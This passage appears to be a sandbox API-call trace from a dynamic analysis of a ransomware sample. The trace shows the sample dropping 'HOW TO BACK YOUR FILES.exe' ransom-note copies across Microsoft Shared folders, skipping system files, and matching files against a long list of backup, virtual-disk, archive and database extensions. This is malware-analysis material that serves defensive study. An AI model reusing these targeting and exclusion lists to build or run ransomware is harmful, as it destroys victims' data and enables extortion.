lpString1="tr-TR") returned="tr-TR" [0111.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5478a0 [0111.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c2a0 [0111.545] lstrcatW (in: lpString1="tr-TR", lpString2="\\" | out: lpString1="tr-TR\\") returned="tr-TR\\" [0111.545] lstrcatW (in: lpString1="tr-TR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="tr-TR\\HOW TO BACK YOUR FILES.exe") returned="tr-TR\\HOW TO BACK YOUR FILES.exe" [0111.545] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.548] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2=".") returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="..") returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="windows") returned -1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="bootmgr") returned 1 [0111.548] lstrcmpiW (lpString1="uk-UA", lpString2="temp") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="pagefile.sys") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="boot") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="ids.txt") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="ntuser.dat") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="perflogs") returned 1 [0111.549] lstrcmpiW (lpString1="uk-UA", lpString2="MSBuild") returned 1 [0111.549] lstrlenW (lpString="uk-UA") returned 5 [0111.549] lstrcpyW (in: lpString1=0x241e8ae, lpString2="uk-UA" | out: lpString1="uk-UA") returned="uk-UA" [0111.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5478b8 [0111.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c320 [0111.549] lstrcatW (in: lpString1="uk-UA", lpString2="\\" | out: lpString1="uk-UA\\") returned="uk-UA\\" [0111.549] lstrcatW (in: lpString1="uk-UA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="uk-UA\\HOW TO BACK YOUR FILES.exe") returned="uk-UA\\HOW TO BACK YOUR FILES.exe" [0111.549] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.551] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2=".") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="..") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="windows") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="bootmgr") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="temp") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="pagefile.sys") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="boot") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="ids.txt") returned 1 [0111.551] lstrcmpiW (lpString1="zh-CN", lpString2="ntuser.dat") returned 1 [0111.552] lstrcmpiW (lpString1="zh-CN", lpString2="perflogs") returned 1 [0111.552] lstrcmpiW (lpString1="zh-CN", lpString2="MSBuild") returned 1 [0111.552] lstrlenW (lpString="zh-CN") returned 5 [0111.552] lstrcpyW (in: lpString1=0x241e8ae, lpString2="zh-CN" | out: lpString1="zh-CN") returned="zh-CN" [0111.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5478d0 [0111.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c3a0 [0111.552] lstrcatW (in: lpString1="zh-CN", lpString2="\\" | out: lpString1="zh-CN\\") returned="zh-CN\\" [0111.552] lstrcatW (in: lpString1="zh-CN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="zh-CN\\HOW TO BACK YOUR FILES.exe") returned="zh-CN\\HOW TO BACK YOUR FILES.exe" [0111.552] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.554] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2=".") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="..") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="windows") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="bootmgr") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="temp") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="pagefile.sys") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="boot") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="ids.txt") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="ntuser.dat") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="perflogs") returned 1 [0111.554] lstrcmpiW (lpString1="zh-TW", lpString2="MSBuild") returned 1 [0111.554] lstrlenW (lpString="zh-TW") returned 5 [0111.554] lstrcpyW (in: lpString1=0x241e8ae, lpString2="zh-TW" | out: lpString1="zh-TW") returned="zh-TW" [0111.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5478e8 [0111.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c420 [0111.555] lstrcatW (in: lpString1="zh-TW", lpString2="\\" | out: lpString1="zh-TW\\") returned="zh-TW\\" [0111.555] lstrcatW (in: lpString1="zh-TW\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="zh-TW\\HOW TO BACK YOUR FILES.exe") returned="zh-TW\\HOW TO BACK YOUR FILES.exe" [0111.555] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.557] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0111.557] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0111.557] ReleaseMutex (hMutex=0xec) returned 1 [0111.557] CloseHandle (hObject=0xec) returned 1 [0111.557] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" [0111.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0111.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5c8 | out: hHeap=0x4f0000) returned 1 [0111.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned 62 [0111.557] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6085F2397E99CD1BD4003269DA293458") returned 0xec [0111.557] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0111.557] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" [0111.557] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0111.558] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\how to back your files.exe"), bFailIfExists=1) returned 0 [0111.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0111.558] GetLastError () returned 0x0 [0111.558] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0111.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0111.559] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0111.559] CloseHandle (hObject=0xf4) returned 1 [0111.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.559] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0111.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce01be00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce01be00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0111.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.560] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0111.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce01be00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce01be00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.560] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0111.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0111.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce01be00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce01be00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0111.560] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0111.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="..") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="windows") returned -1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootmgr") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="temp") returned -1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="pagefile.sys") returned -1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="boot") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ids.txt") returned 1 [0111.560] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntuser.dat") returned -1 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="perflogs") returned -1 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="MSBuild") returned 1 [0111.561] lstrlenW (lpString="MSCDM.DLL") returned 9 [0111.561] lstrcpyW (in: lpString1=0x241e8c6, lpString2="MSCDM.DLL" | out: lpString1="MSCDM.DLL") returned="MSCDM.DLL" [0111.561] lstrlenW (lpString="MSCDM.DLL") returned 9 [0111.561] lstrlenW (lpString="Athena865") returned 9 [0111.561] lstrlenW (lpString=".dll") returned 4 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".dll") returned 1 [0111.561] lstrlenW (lpString=".lnk") returned 4 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".lnk") returned 1 [0111.561] lstrlenW (lpString=".ini") returned 4 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".ini") returned 1 [0111.561] lstrlenW (lpString=".sys") returned 4 [0111.561] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".sys") returned 1 [0111.561] lstrlenW (lpString="MSCDM.DLL") returned 9 [0111.561] lstrlenW (lpString="bak") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0111.561] lstrlenW (lpString="ba_") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0111.561] lstrlenW (lpString="dbb") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0111.561] lstrlenW (lpString="vmdk") returned 4 [0111.561] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0111.561] lstrlenW (lpString="rar") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0111.561] lstrlenW (lpString="zip") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0111.561] lstrlenW (lpString="tgz") returned 3 [0111.561] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0111.561] lstrlenW (lpString="vbox") returned 4 [0111.561] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0111.562] lstrlenW (lpString="vdi") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0111.562] lstrlenW (lpString="vhd") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0111.562] lstrlenW (lpString="vhdx") returned 4 [0111.562] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0111.562] lstrlenW (lpString="avhd") returned 4 [0111.562] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0111.562] lstrlenW (lpString="db") returned 2 [0111.562] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0111.562] lstrlenW (lpString="db2") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0111.562] lstrlenW (lpString="db3") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0111.562] lstrlenW (lpString="dbf") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0111.562] lstrlenW (lpString="mdf") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0111.562] lstrlenW (lpString="mdb") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0111.562] lstrlenW (lpString="sql") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0111.562] lstrlenW (lpString="sqlite") returned 6 [0111.562] lstrcmpiW (lpString1="DM.DLL", lpString2="sqlite") returned -1 [0111.562] lstrlenW (lpString="sqlite3") returned 7 [0111.562] lstrcmpiW (lpString1="CDM.DLL", lpString2="sqlite3") returned -1 [0111.562] lstrlenW (lpString="sqlitedb") returned 8 [0111.562] lstrcmpiW (lpString1="SCDM.DLL", lpString2="sqlitedb") returned -1 [0111.562] lstrlenW (lpString="xml") returned 3 [0111.562] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0111.563] lstrlenW (lpString="$er") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0111.563] lstrlenW (lpString="4dd") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0111.563] lstrlenW (lpString="4dl") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0111.563] lstrlenW (lpString="^^^") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0111.563] lstrlenW (lpString="abs") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0111.563] lstrlenW (lpString="abx") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0111.563] lstrlenW (lpString="accdb") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accdb") returned 1 [0111.563] lstrlenW (lpString="accdc") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accdc") returned 1 [0111.563] lstrlenW (lpString="accde") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accde") returned 1 [0111.563] lstrlenW (lpString="accdr") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accdr") returned 1 [0111.563] lstrlenW (lpString="accdt") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accdt") returned 1 [0111.563] lstrlenW (lpString="accdw") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accdw") returned 1 [0111.563] lstrlenW (lpString="accft") returned 5 [0111.563] lstrcmpiW (lpString1="M.DLL", lpString2="accft") returned 1 [0111.563] lstrlenW (lpString="adb") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.563] lstrlenW (lpString="adb") returned 3 [0111.563] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.563] lstrlenW (lpString="ade") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0111.564] lstrlenW (lpString="adf") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0111.564] lstrlenW (lpString="adn") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0111.564] lstrlenW (lpString="adp") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0111.564] lstrlenW (lpString="alf") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0111.564] lstrlenW (lpString="ask") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0111.564] lstrlenW (lpString="btr") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0111.564] lstrlenW (lpString="cat") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0111.564] lstrlenW (lpString="cdb") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0111.564] lstrlenW (lpString="ckp") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0111.564] lstrlenW (lpString="cma") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0111.564] lstrlenW (lpString="cpd") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0111.564] lstrlenW (lpString="dacpac") returned 6 [0111.564] lstrcmpiW (lpString1="DM.DLL", lpString2="dacpac") returned 1 [0111.564] lstrlenW (lpString="dad") returned 3 [0111.564] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0111.564] lstrlenW (lpString="dadiagrams") returned 10 [0111.564] lstrlenW (lpString="daschema") returned 8 [0111.564] lstrcmpiW (lpString1="SCDM.DLL", lpString2="daschema") returned 1 [0111.564] lstrlenW (lpString="db-journal") returned 10 [0111.565] lstrlenW (lpString="db-shm") returned 6 [0111.565] lstrcmpiW (lpString1="DM.DLL", lpString2="db-shm") returned 1 [0111.565] lstrlenW (lpString="db-wal") returned 6 [0111.565] lstrcmpiW (lpString1="DM.DLL", lpString2="db-wal") returned 1 [0111.565] lstrlenW (lpString="dbc") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0111.565] lstrlenW (lpString="dbs") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0111.565] lstrlenW (lpString="dbt") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0111.565] lstrlenW (lpString="dbv") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0111.565] lstrlenW (lpString="dbx") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0111.565] lstrlenW (lpString="dcb") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0111.565] lstrlenW (lpString="dct") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0111.565] lstrlenW (lpString="dcx") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0111.565] lstrlenW (lpString="ddl") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0111.565] lstrlenW (lpString="dlis") returned 4 [0111.565] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0111.565] lstrlenW (lpString="dp1") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0111.565] lstrlenW (lpString="dqy") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0111.565] lstrlenW (lpString="dsk") returned 3 [0111.565] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0111.565] lstrlenW (lpString="dsn") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0111.566] lstrlenW (lpString="dtsx") returned 4 [0111.566] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0111.566] lstrlenW (lpString="dxl") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0111.566] lstrlenW (lpString="eco") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0111.566] lstrlenW (lpString="ecx") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0111.566] lstrlenW (lpString="edb") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0111.566] lstrlenW (lpString="epim") returned 4 [0111.566] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0111.566] lstrlenW (lpString="fcd") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0111.566] lstrlenW (lpString="fdb") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0111.566] lstrlenW (lpString="fic") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0111.566] lstrlenW (lpString="flexolibrary") returned 12 [0111.566] lstrlenW (lpString="fm5") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0111.566] lstrlenW (lpString="fmp") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0111.566] lstrlenW (lpString="fmp12") returned 5 [0111.566] lstrcmpiW (lpString1="M.DLL", lpString2="fmp12") returned 1 [0111.566] lstrlenW (lpString="fmpsl") returned 5 [0111.566] lstrcmpiW (lpString1="M.DLL", lpString2="fmpsl") returned 1 [0111.566] lstrlenW 